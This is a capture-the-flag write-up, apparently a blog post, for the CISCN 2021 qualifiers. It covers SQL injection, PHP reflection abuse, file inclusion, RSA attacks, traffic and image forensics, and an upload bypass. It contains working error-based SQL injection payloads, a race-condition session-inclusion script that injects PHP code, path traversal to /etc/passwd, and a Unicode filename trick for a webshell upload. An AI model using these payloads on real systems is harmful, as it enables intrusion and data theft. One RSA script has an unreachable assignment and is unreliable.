easy_sql

union应该是被禁了,报错有回显,可以用报错注入。

information_schema.tables、mysql.innodb_index_stats、mysql.innodb_table_stats、sys都被禁了,表可以盲猜一波“flag”,测试flag表不报错,其他表报错,则确定表名为flag。

column名可以用下面的payload逐个爆出

column名:passwd=&uname=') or updatexml(1,concat(0x7e,(select * from (select * from flag as a join flag b using(id, no))c),0x7e),1);#
​
flag:passwd=&uname=') or updatexml(1,concat(0x7e,left((select `4c42b94b-a5d0-4aae-be09-6da7d1d57c4c` from flag),50),0x7e),1);#
​
passwd=&uname=') or updatexml(1,concat(0x7e,right((select `4c42b94b-a5d0-4aae-be09-6da7d1d57c4c` from flag),20),0x7e),1);#

easy_source

.index.php.swo中找到源码

<?php
class User
{
    private static $c = 0;
​
    function a()
    {
        return ++self::$c;
    }
​
    function b()
    {
        return ++self::$c;
    }
​
    function c()
    {
        return ++self::$c;
    }
​
    function d()
    {
        return ++self::$c;
    }
​
    function e()
    {
        return ++self::$c;
    }
​
    function f()
    {
        return ++self::$c;
    }
​
    function g()
    {
        return ++self::$c;
    }
​
    function h()
    {
        return ++self::$c;
    }
​
    function i()
    {
        return ++self::$c;
    }
​
    function j()
    {
        return ++self::$c;
    }
​
    function k()
    {
        return ++self::$c;
    }
​
    function l()
    {
        return ++self::$c;
    }
​
    function m()
    {
        return ++self::$c;
    }
​
    function n()
    {
        return ++self::$c;
    }
​
    function o()
    {
        return ++self::$c;
    }
​
    function p()
    {
        return ++self::$c;
    }
​
    function q()
    {
        return ++self::$c;
    }
​
    function r()
    {
        return ++self::$c;
    }
​
    function s()
    {
        return ++self::$c;
    }
​
    function t()
    {
        return ++self::$c;
    }
    
}
​
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

然后用反射类读取类中的数据

http://139.9.112.46:20488/?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

写python脚本爆一下

import requests
​
session = requests.session()
for i in range(ord('a'),ord('z')):
    text = session.get(f"http://139.9.112.46:20488/?rc=ReflectionMethod&ra=User&rb={chr(i)}&rd=getDocComment").text
    print(text)

middle_source

文件包含,先进行目录穿越,包含/etc/passwd,可以成功。然后尝试日志包含,发现日志目录找不到。

扫目录发现.listing文件,打开可以找到you_can_seeeeeeee_me.php里面有phpinfo,还可以看到禁用了一堆函数。在phpinfo中可知session的目录位于/var/lib/php/sessions/fiefcjjbbe/,然后可以进行session包含

使用条件竞争包含session,直接扫目录然后读flag(因为禁用了fopen和file_put_contents不知道怎么写马,就只能在条件竞争的时候扫目录。目录是一个一个扫出来的)

最后可知flag位于/etc/bgdaibdjda/ehefjdbeac/aicfdcehca/eebcdcfeab/jhagccefch/fl444444g,在主页进行包含可以拿到flag

import requests
import threading
​
sessid = 'eastjun'
session = requests.session()
url = 'http://139.9.112.46:20565/'
​
​
def write():
    while True:
        text = session.post(
            url = url,
            data={
                'PHP_SESSION_UPLOAD_PROGRESS': "<?php var_dump(scandir('/etc/'));print('123456789')?>",
                'cf':f'../../../../../../var/lib/php/sessions/fiefcjjbbe/sess_{sessid}'
            },
            files={"file": ('xxx.txt', open("shell.txt", "r"))}, cookies={'PHPSESSID': sessid}).text
        print(text)
​
​
for i in range(30):
    thread = threading.Thread(target=write)
    thread.start()
payload:cf=../../../../../../../etc/bgdaibdjda/ehefjdbeac/aicfdcehca/eebcdcfeab/jhagccefch/fl444444g

RSA

明文分三段,第一段是低加密指数攻击,第二段是共模攻击,第三段p高位泄露。第三段可以用sage脚本跑出来。最后计算md5提交

import hashlib
from Crypto.Util.number import long_to_bytes
import libnum
import gmpy2
​
​
def common_modulus(n, c1, c2, e1, e2):
    assert(libnum.gcd(e1, e2))
    _, s1, s2 = gmpy2.gcdext(e1, e2)
    if s1 < 0:
        s1 = -s1
        c1 = gmpy2.invert(c1, n)
    if s2 < 0:
        s2 = -s2
        c2 = gmpy2.invert(c2, n)
    return pow(c1, s1, n)*pow(c2, s2, n)%n
​
part1=""
n1 = 123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009
c = 19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893
for i in range(50):
    res, is_exact = gmpy2.iroot(n1*i+c,3)
    if is_exact:
        break
        part1=long_to_bytes(267334379257781603687613466720913534310764480084016847281446486946801530200295563483353634338157)
​
l2=common_modulus(
    n=111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977,
    c1=54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610,
    c2=91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950,
    e1=17,
    e2=65537
)
part2=long_to_bytes(l2)
​
p3 = 11437038763581010263116493983733546014403343859218003707512796706928880848035239990740428334091106443982769386517753703890002478698418549777553268906496423
n3 = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147
q3 = n3//p3
phi = (p3-1)*(q3-1)
d3 = gmpy2.invert(65537, phi)
c3=59213696442373765895948702611659756779813897653022080905635545636905434038306468935283962686059037461940227618715695875589055593696352594630107082714757036815875497138523738695066811985036315624927897081153190329636864005133757096991035607918106529151451834369442313673849563635248465014289409374291381429646
part3=long_to_bytes(pow(c3,d3,n3))
​
m = hashlib.md5()
m.update(part1+part2+part3)
print(m.hexdigest())
p4 = 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902
n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147L
pbits = 512
kbits = 200
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
root = f.small_roots(X=2^kbits, beta=0.4)
p = p4+root[0]
print(p)

Sage在线运行

robot

在流量中可以找到类似[189,16,0]这样子的字符串,应该是三维的坐标,但是第三个数字大部分都是0。追踪tcp流,将其坐标提取出来,前两位放到cv2进行绘图可得一张“easy_robo_xx”的图,计算md5套上CISCN提交即可。

import re
import numpy as np
import cv2
​
pic = np.zeros((400,400,3),np.uint8)
pic.fill(255)
​
with open("2.txt") as f:
    res = re.findall("\[(\d+),(\d+),(\d+)]",f.read())
    for i in res:
        pic[int(i[0])][int(i[1])]=(0,0,0)
    pic2 = img90 = np.rot90(pic, -1)
    pic2 = cv2.flip(pic2, 1)
    cv2.imshow("",pic2)
    cv2.waitKey(0)

[CISCN2021 Quals]upload (buu复现记录)

主页拿到源码,扫目录可知有example和example.php,example.php可以解压zip结尾的文件,解压完进行二次渲染然后存在example目录下。index.php检查文件名中不能有c、i、h、ph,然后将文件名用mb_strtolower转为小写后将其移动到image目录下。文件名可以用../进行穿越。

用xmb文件头可以绕长度和宽度

#define test_width 1
#define test_height 1

index.php中不能有i而example.php中需要有zip(比赛时就做到这里)。这里用unicode编码进行绕过。在拉丁字母扩展A可以找到字母İ。在php5.6和php7测试可得var_dump(mb_strtolower("İ")==='i');的结果为true。然后参考图片马制作,上传可以绕过二次渲染的图片马进行解压即可。

1

zip需要加上xmb文件头,用windows的copy命令就可以加。

2
3

running pixel

每十张一个循环,图片相减然后合在一起可以看到有字的flag,顺序是从0-381,把下面的脚本改一改就能逐个字母出现。但是比赛的时候一直交不上去flag,所以最后没拿到分。

import cv2
import numpy as np
​
pic = np.zeros((400, 400, 3), np.uint8)
# pic.fill(255)
for i in range(38):
    for j in range(10):
        pic1 = cv2.imread(f"pic/{i * 10 + j}.png")
        pic2 = cv2.imread(f"pic/{(i + 1) % 38 * 10 + j}.png")
        p = pic1 - pic2
        for a in range(400):
            for b in range(400):
                if (p[a][b][0] != 0):
                    pic[a][b] = p[a][b][0]
pic2 = img90 = np.rot90(pic, -1)
pic2 = cv2.flip(pic2, 1)
cv2.imshow("",pic2)
cv2.waitKey(0)
cv2.imwrite("result.png",pic2)
说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...